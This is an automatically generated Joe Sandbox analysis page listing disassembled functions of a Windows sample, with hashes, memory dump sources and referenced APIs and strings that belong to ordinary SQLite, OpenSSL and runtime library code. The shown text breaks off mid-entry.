Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcpy$memset
String ID:
API String ID: 438689982-0
Opcode ID: f156c778602553fb8e6ad486ebff7de94d5ca6f9ee5b8a755dbaf2d72c8b4207
Instruction ID: 9d39e05b49e39245398f569b18bf2b88f2fbfe927802bec4971a92611aa37c5e
Opcode Fuzzy Hash: f156c778602553fb8e6ad486ebff7de94d5ca6f9ee5b8a755dbaf2d72c8b4207
Instruction Fuzzy Hash: A4217E62B1875183D764AF16F5A14BAA3A2FB447C0B045235DBEE87F9ADF2CF4518300

Function 00007FFDFF19EC40 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 249COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDFF19ECCC

Strings

%s-shm, xrefs: 00007FFDFF19ECE3
readonly_shm, xrefs: 00007FFDFF19EE6A
winOpenShm, xrefs: 00007FFDFF19EEDA

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memset
String ID: %s-shm$readonly_shm$winOpenShm
API String ID: 2221118986-2815843928
Opcode ID: fbd402a391f95b288c7bc3f82079c8b9616d1f50f4ab568a7bfe371c4fe44437
Instruction ID: c041fb660c1669496ef27958bb114eaf7381e23b73572cc419e9c10afada77b6
Opcode Fuzzy Hash: fbd402a391f95b288c7bc3f82079c8b9616d1f50f4ab568a7bfe371c4fe44437
Instruction Fuzzy Hash: 5BC13B26F19A82C2FB649F61E4B0A7A27A0BF44B54F444335D97EC66D8DF3CE8548350

Function 00007FFDFF2285A0 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 239COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?,?,00000080,?,?,?,00000000,00007FFDFF228A6F), ref: 00007FFDFF228739
memcpy.VCRUNTIME140(?,?,?,?,00000080,?,?,?,00000000,00007FFDFF228A6F), ref: 00007FFDFF2287BB
memcpy.VCRUNTIME140(?,?,?,?,00000080,?,?,?,00000000,00007FFDFF228A6F), ref: 00007FFDFF2288AD

Strings

RETURNING may not use "TABLE.*" wildcards, xrefs: 00007FFDFF228621

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcpy
String ID: RETURNING may not use "TABLE.*" wildcards
API String ID: 3510742995-2313493979
Opcode ID: 0288751f268e253f0b5d943a861ab99312bd63e3f322591f5a0f5aea74af32d9
Instruction ID: 18ab58a6c54f355dc29bac4385599c7b38e67fe517baa249645289907e9850cf
Opcode Fuzzy Hash: 0288751f268e253f0b5d943a861ab99312bd63e3f322591f5a0f5aea74af32d9
Instruction Fuzzy Hash: 0BB1BC22B08B8186E720CF1698606B977A1FB55BA4F458336DE7D87BD9DF38E191C300

Function 00007FFDFF2193F0 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 198COMMON

Download Yara Rule

Strings

%s.%s, xrefs: 00007FFDFF21956E
column%d, xrefs: 00007FFDFF2195F8
rowid, xrefs: 00007FFDFF21954E

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID:
String ID: %s.%s$column%d$rowid
API String ID: 0-1505470444
Opcode ID: ce9811c683529395846280cdd6f3ca33b5e0997b8693e991c0a95600bcbb4431
Instruction ID: 2ea0f75f040b1d4712b969abeef0b9cae3f72bb5ec49b9d1ca81aa5951a8414b
Opcode Fuzzy Hash: ce9811c683529395846280cdd6f3ca33b5e0997b8693e991c0a95600bcbb4431
Instruction Fuzzy Hash: 6B919722B08B8191EB208F15A464BAA77A4FB45BE8F454336DABD877D8DF39E401C300

Function 00007FFDFF1F3E60 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 183COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFF1F408E

Strings

, , xrefs: 00007FFDFF1F3F1E
CREATE TABLE , xrefs: 00007FFDFF1F3F7F
, xrefs: 00007FFDFF1F3F3D

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcpy
String ID: $, $CREATE TABLE
API String ID: 3510742995-3459038510
Opcode ID: 1487d30da9dc3be1a348340f229cd536925eb464540b3ceb7db45a4a39605917
Instruction ID: 4d7f28c6eec32c46daede0fc866d2626d36bc6846c2c4a3a9b819e9d3534f27b
Opcode Fuzzy Hash: 1487d30da9dc3be1a348340f229cd536925eb464540b3ceb7db45a4a39605917
Instruction Fuzzy Hash: C561B463B0868186DB258F29E4506B9B7A2FB44BA8F488335DE7D876D9DF3DD446C300

Function 00007FFDFF1CC5E7 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 149COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFF1CC72D
memcpy.VCRUNTIME140 ref: 00007FFDFF1CC746

Strings

string or blob too big, xrefs: 00007FFDFF1D2103
out of memory, xrefs: 00007FFDFF1D2478

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcpy
String ID: out of memory$string or blob too big
API String ID: 3510742995-2410398255
Opcode ID: 32c2ae49c0d43b0bf73bf14441e4c9b52f205afacfc25aad9bb6812841d0f57a
Instruction ID: c3d02b3c06a6e3db07cf34a0223604a00caf118613f3dbb9a801f0fa23540699
Opcode Fuzzy Hash: 32c2ae49c0d43b0bf73bf14441e4c9b52f205afacfc25aad9bb6812841d0f57a
Instruction Fuzzy Hash: F861C163F0879282E7108B26D160ABE6761FB45B98F110232EEBD47BD9CF3CE4129710

Function 00007FFDFF1AA360 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 139COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDFF1AA488

Strings

%s at line %d of [%.10s], xrefs: 00007FFDFF1AA55B
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFF1AA542
database corruption, xrefs: 00007FFDFF1AA54F

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memset
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 2221118986-3727861699
Opcode ID: 94cf11a5b90883afec42197cfdb5a29862f3f9bca546d8acf573f86d1085267f
Instruction ID: d7640ad3e3b12671dcbbfe026a14f67c2e9b23fc7f6024d215176f609cd6f6f7
Opcode Fuzzy Hash: 94cf11a5b90883afec42197cfdb5a29862f3f9bca546d8acf573f86d1085267f
Instruction Fuzzy Hash: D9518C33B08B41D6EB548F26E564BA973A4FB48B84F184232EE6D47798DF38E456C340

Function 00007FFDFF198417 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFF1984C8
memcpy.VCRUNTIME140 ref: 00007FFDFF19854E

Strings

(join-%u), xrefs: 00007FFDFF198559
(subquery-%u), xrefs: 00007FFDFF198570

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcpy
String ID: (join-%u)$(subquery-%u)
API String ID: 3510742995-2916047017
Opcode ID: e2b3ba04de53d05e0f3d79864809cd8fff1a24425bca6f5148fb8c8c32540825
Instruction ID: 4dacfa8cb81cf2b75a0334b68b4fec23d606fc3a5b6db7d4a1cb5afd72b3077f
Opcode Fuzzy Hash: e2b3ba04de53d05e0f3d79864809cd8fff1a24425bca6f5148fb8c8c32540825
Instruction Fuzzy Hash: 09519E73F1864285EB709E2590A4F7927A1FB14BB8F954731C93E872D8DF2CE4458B84

Function 00007FFDFF1B8EF0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 121COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FFDFF1B9012

Strings

%s at line %d of [%.10s], xrefs: 00007FFDFF1B9091
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFF1B9078
database corruption, xrefs: 00007FFDFF1B9085

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memmove
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 2162964266-3727861699
Opcode ID: d6626209ff5963ca4a15e42e4622f64455280571ca08852fb66255ebaf8cff30
Instruction ID: a049ce20799a5faa10857c48d15e7b99ec864ad687ca0da6ea0c82bb84b07d68
Opcode Fuzzy Hash: d6626209ff5963ca4a15e42e4622f64455280571ca08852fb66255ebaf8cff30
Instruction Fuzzy Hash: 68516A33B18B80C6EB208F15E4506AAB7A5FB84B94F544126DBAD53B98CF3CD456C700

Function 00007FFE013021E0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 115stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,00007FFE013020AF,?,?,?,00007FFE0130206C), ref: 00007FFE0130220A
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,00007FFE013020AF,?,?,?,00007FFE0130206C), ref: 00007FFE01302228

Strings

CJK UNIFIED IDEOGRAPH-, xrefs: 00007FFE0130221E
HANGUL SYLLABLE , xrefs: 00007FFE01302200

Memory Dump Source

Source File: 00000001.00000002.2152060527.00007FFE01301000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2152006973.00007FFE01300000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01306000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE0134A000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01358000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE013A7000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152318954.00007FFE013AA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152364570.00007FFE013AC000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_file.jbxd

Similarity

API ID: strncmp
String ID: CJK UNIFIED IDEOGRAPH-$HANGUL SYLLABLE
API String ID: 1114863663-87138338
Opcode ID: a963b875801d9843ea49cd289ad9d5ca77fa3890532c8e824ee28ee48ef07934
Instruction ID: 04951ec22d3b2062670561050c17f6b79031522cc2d8cf2025f3c60473769cc2
Opcode Fuzzy Hash: a963b875801d9843ea49cd289ad9d5ca77fa3890532c8e824ee28ee48ef07934
Instruction Fuzzy Hash: 33414972B0CB4286E7558F98E41826A7791EB90B90F454239EB9D4FAF9DF3CD5018B40

Function 00007FFDFF1BFE60 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 114COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFF1BFF93

Strings

%!.15g, xrefs: 00007FFDFF1BFFDC
-, xrefs: 00007FFDFF1BFF77
, xrefs: 00007FFDFF1BFFB2

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcpy
String ID: $%!.15g$-
API String ID: 3510742995-875264902
Opcode ID: 312380605faac612b932c0e84749a71c5b5db630570bc0cb0ad3afdeeff4af52
Instruction ID: ca59d9b0a460680898906850f3c638638f2431dbde71417daf22dd47f46d6a7d
Opcode Fuzzy Hash: 312380605faac612b932c0e84749a71c5b5db630570bc0cb0ad3afdeeff4af52
Instruction Fuzzy Hash: 2641F672F1878586E754CB2EE061BAA7BA0EB95784F004225EBBD477CACB3DD405C740

Function 00007FFDFF1B8550 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 84COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 00007FFDFF1B85C0
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFF1B85A7
database corruption, xrefs: 00007FFDFF1B85B4

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 0-3727861699
Opcode ID: 6305e94a9a690e28374634513fa7c07f3dc0461b62686fa81fd07b9bb206b833
Instruction ID: 90e2ac23b978bba6455576014bdba559ac94cf7ccd72364c27bf9e52fd507536
Opcode Fuzzy Hash: 6305e94a9a690e28374634513fa7c07f3dc0461b62686fa81fd07b9bb206b833
Instruction Fuzzy Hash: 0831BB73A096C18ED304CF2AD4A086D7BA1E741F54B044236EFA98B39DEB3CD556CB60

Function 00007FFE014071B0 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

OPENSSL_sk_num.LIBCRYPTO-3(00000000,?,00000000,?,?,00007FFE0140476B), ref: 00007FFE014071F3
OPENSSL_sk_value.LIBCRYPTO-3(00000000,?,00000000,?,?,00007FFE0140476B), ref: 00007FFE01407206
OPENSSL_sk_free.LIBCRYPTO-3(00000000,?,00000000,?,?,00007FFE0140476B), ref: 00007FFE01407229
OPENSSL_sk_free.LIBCRYPTO-3(00000000,?,00000000,?,?,00007FFE0140476B), ref: 00007FFE0140724A

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: L_sk_free$L_sk_numL_sk_value
String ID:
API String ID: 4251522676-0
Opcode ID: 234aac24ebb6224e9bdbc20b1a075a685fd8bbf992035f3eed07898068168382
Instruction ID: 64f03f0ecf5187a513848029f78e324a89533a3ae374df4cc2d0d3615df5a1d3
Opcode Fuzzy Hash: 234aac24ebb6224e9bdbc20b1a075a685fd8bbf992035f3eed07898068168382
Instruction Fuzzy Hash: 7E31A022A0C25241F721ABA7A5406BE6691BB84B95F150139FE8D4BBB6DF3CE442C602

Function 00007FFDFF1AC240 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 79COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDFF1AC2A7

Strings

%s at line %d of [%.10s], xrefs: 00007FFDFF1AC35B
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFF1AC342
database corruption, xrefs: 00007FFDFF1AC34F

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memset
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 2221118986-3727861699
Opcode ID: d55a6328535592a9e318385a5f1e464099d72822ee4cd89bff26eb268217b2a5
Instruction ID: 0b9484166a97802102ce510dce59b11b90b15acd15d4696c22f8e2e5009e683c
Opcode Fuzzy Hash: d55a6328535592a9e318385a5f1e464099d72822ee4cd89bff26eb268217b2a5
Instruction Fuzzy Hash: F2318673B1868182E7509F59E460ABA77A5FB84B90F444235EE6E87BD8DF3CD5018B40

Function 00007FFDFB424F54 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFDFB424F80
GetCurrentThreadId.KERNEL32 ref: 00007FFDFB424F8E
GetCurrentProcessId.KERNEL32 ref: 00007FFDFB424F9A
QueryPerformanceCounter.KERNEL32 ref: 00007FFDFB424FAA

Memory Dump Source

Source File: 00000001.00000002.2149839305.00007FFDFB261000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFB260000, based on PE: true

Associated: 00000001.00000002.2149798025.00007FFDFB260000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2150063973.00007FFDFB515000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2150063973.00007FFDFB536000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2150063973.00007FFDFB545000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2150063973.00007FFDFB54F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2150063973.00007FFDFB591000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2150063973.00007FFDFB660000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2150063973.00007FFDFB668000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2150696513.00007FFDFB76F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2150738629.00007FFDFB786000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2150780835.00007FFDFB789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2150822072.00007FFDFB78C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2150862818.00007FFDFB78D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2150901690.00007FFDFB78E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2150953201.00007FFDFB7B2000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2150995230.00007FFDFB7B3000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2151034189.00007FFDFB7B4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2151075938.00007FFDFB7B6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2151118574.00007FFDFB7BE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2151166577.00007FFDFB7FF000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2151211795.00007FFDFB833000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2151259094.00007FFDFB85B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2151302681.00007FFDFB85E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2151341451.00007FFDFB85F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2151379476.00007FFDFB860000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2151417136.00007FFDFB861000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2151458351.00007FFDFB863000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2151502814.00007FFDFB872000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2151502814.00007FFDFB87A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2151502814.00007FFDFB89F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2151631313.00007FFDFB8A0000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb260000_file.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: fe63b84064a5ce4d74b8ca480f490018c065660e782260b98ef3b250c9bc7566
Instruction ID: 354c5035d1e904c91d40b5f24f1c33e02c2c71bf9fa8c01ea0d49a0da5c71590
Opcode Fuzzy Hash: fe63b84064a5ce4d74b8ca480f490018c065660e782260b98ef3b250c9bc7566
Instruction Fuzzy Hash: 5A113C26B19F068AEB00DF60E8646B833A4FB59758F441E31EA6D867B8DF7CD158C340

Function 00007FFDFF2C2F10 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFDFF2C2F3C
GetCurrentThreadId.KERNEL32 ref: 00007FFDFF2C2F4A
GetCurrentProcessId.KERNEL32 ref: 00007FFDFF2C2F56
QueryPerformanceCounter.KERNEL32 ref: 00007FFDFF2C2F66

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: fc74a681ac9cfba130fc09d6d1be2f184761751582f3a5224d5c822cd04c3667
Instruction ID: 4939ed835556a19b5d519d4539f52b76c1b667da5947bb9ae05701f9ecf20afd
Opcode Fuzzy Hash: fc74a681ac9cfba130fc09d6d1be2f184761751582f3a5224d5c822cd04c3667
Instruction Fuzzy Hash: 63111836B14B458AEB008B60E8A56A933A4FB19B68F440A35DA7DC67E8DF78D5548340

Function 00007FFE01302E0C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFE01302E38
GetCurrentThreadId.KERNEL32 ref: 00007FFE01302E46
GetCurrentProcessId.KERNEL32 ref: 00007FFE01302E52
QueryPerformanceCounter.KERNEL32 ref: 00007FFE01302E62

Memory Dump Source

